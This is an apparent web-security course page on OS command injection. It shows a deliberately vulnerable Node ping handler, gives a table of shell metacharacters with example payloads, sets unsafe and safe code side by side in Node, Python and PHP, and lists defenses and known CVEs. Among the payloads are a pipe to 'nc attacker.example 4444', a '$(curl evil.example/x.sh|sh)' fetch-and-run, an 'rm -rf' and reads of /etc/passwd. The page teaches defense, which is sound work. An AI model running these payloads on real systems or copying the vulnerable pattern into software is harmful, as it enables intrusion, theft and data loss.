07.03 · OWASP A03:2021 (Injection)

Command Injection

SQLi sends attacker code to the database. XSS sends attacker code to a browser. Command injection sends attacker code straight to the operating system shell — with whatever privileges the web server has.

The premise

An administrative web page lets you ping a hostname to check connectivity. Behind the form, the server does the simplest possible thing: it concatenates the user's input into a shell command and runs it. system("ping -c 1 " + host).

If the user types example.com, the shell runs ping -c 1 example.com. If the user types example.com; cat /etc/passwd, the shell sees that as two commands separated by a semicolon — runs the ping, then dumps /etc/passwd and prints it back to the page. The web application happily includes the output in its response.

The bug is the same one we have seen on every page in this module: code and data are sharing a channel. Shell syntax includes a whole alphabet of metacharacters (;, &, |, $(...), backticks, >, <, newlines) that the shell interprets specially. If user input is inserted into a command line without being separated from the syntax, the user can introduce more syntax of their own.

Try it — the admin ping tool

You are the developer of NetAdmin Pro v1.4. The page just shells out to ping with whatever the user types. The simulator lets you toggle between the vulnerable build and a parameterized fix.

SIMULATED ADMIN PANEL · ping endpoint
Build:
https://netadmin.example/tools/ping

Network Tools — Ping

Payload library
Server code
// netadmin-pro v1.4 — /tools/ping handler app.post('/tools/ping', (req, res) => { const host = req.body.host; const out = execSync(`ping -c 1 ${host}`, {shell:'/bin/sh'}); // shell:true! res.send('<pre>' + out + '</pre>'); });
Pick a payload above or type your own, then click Run ping.
www-data@netadmin: /var/www
Terminal idle. Run a ping to see what the shell actually executes.

Shell metacharacters every attacker tries

GlyphWhat the shell doesPayload shape
;Sequence: run the next command after this one finishes.host; rm -rf /tmp/cache
&&Conditional sequence: run the next command if this one succeeded.host && whoami
||Conditional sequence: run the next command if this one failed.host || id
|Pipe: feed the output of this command into the next.host | nc attacker.example 4444
$( )Command substitution: replace with the output of the inner command.$(curl evil.example/x.sh|sh)
` `Same as $() — older syntax.`whoami`
>   >>Redirect output to a file (overwrite / append).host > /tmp/p
<Read from a file as stdin.host < /etc/passwd
\nNewline: starts a fresh command. Sneaks past naive blocklists that filter ; and |.host%0aid

Filtering one metacharacter at a time is a losing game. The real fix is not to spawn a shell at all.

Defense: don't spawn a shell

Every common runtime offers two ways to run external programs — one that passes a string to /bin/sh, and one that takes an array of arguments and invokes the program directly via execve(2), bypassing the shell entirely. The shell is where the metacharacters get interpreted; if it never runs, they are inert.

Node.js

// VULNERABLE — string + shell:true exec(`ping -c 1 ${host}`, callback); // SAFE — argv array, no shell execFile('/bin/ping', ['-c', '1', host], callback);

Python

# VULNERABLE os.system(f"ping -c 1 {host}") subprocess.run(f"ping -c 1 {host}", shell=True) # SAFE subprocess.run(["/bin/ping", "-c", "1", host]) # list, no shell

PHP

// VULNERABLE shell_exec("ping -c 1 " . $host); // SAFE — escapeshellarg quotes the value, escapeshellcmd is NOT enough shell_exec("ping -c 1 " . escapeshellarg($host)); // BETTER — pcntl_exec or proc_open with argument array

And the deeper defenses, in addition:

  • Allow-list input. A hostname is an alphanumeric string with dots and hyphens. Reject anything that doesn't match ^[a-zA-Z0-9.\-]+$ at the edge.
  • Drop privileges. The web server should run as an unprivileged user with a read-only filesystem where possible. Even a successful injection then has a small blast radius.
  • Skip the shell entirely. Most of the time you don't need ping; you need to check reachability. Use the language's networking library.
  • WAF rules and egress filtering. Defense in depth: the application server probably shouldn't be opening outbound connections to attacker.example:4444. Egress controls would catch reverse shells.

The historical hall of shame

  • Shellshock — CVE-2014-6271. A 25-year-old bug in bash's parsing of exported function definitions. Any program that called bash with attacker-controlled environment variables (which, on Linux web servers, meant every CGI script) could be turned into RCE. Patched within days; exploited for years.
  • Log4Shell — CVE-2021-44228. Not strictly command injection, but the same shape: log4j's pattern-substitution feature accepted user input and could be coaxed into executing JNDI lookups, which fetched and ran attacker-controlled Java. One log line was enough. Affected vast swaths of the Java ecosystem.
  • ImageMagick “ImageTragick” — CVE-2016-3714. Image-processing library handed attacker-supplied URLs into a shell. Uploading a crafted image to a thumbnail-generating service got remote code execution.
  • Cisco Smart Install — multiple CVEs. Network management protocol shipped commands directly to /bin/sh. Used in the wild for years.
  • WordPress plugin advisories, ongoing — backup-and-restore plugins are particularly bad about this; they call tar, mysqldump, and wp-cli with shell concatenation. Every quarter brings new advisories.

The principle, restated

Across SQLi, XSS, CSRF, and command injection, the structure of the bug is identical. A subsystem (database, browser, shell, your own application) consumes a string that mixes instructions you intended with data the user provided, and parses the whole thing the same way. The fix — in every case — is to keep instructions and data in separate channels: parameterized queries, output encoding, CSRF tokens or SameSite cookies, argv arrays instead of shell strings.

The defense vocabulary changes per layer. The pattern is the same.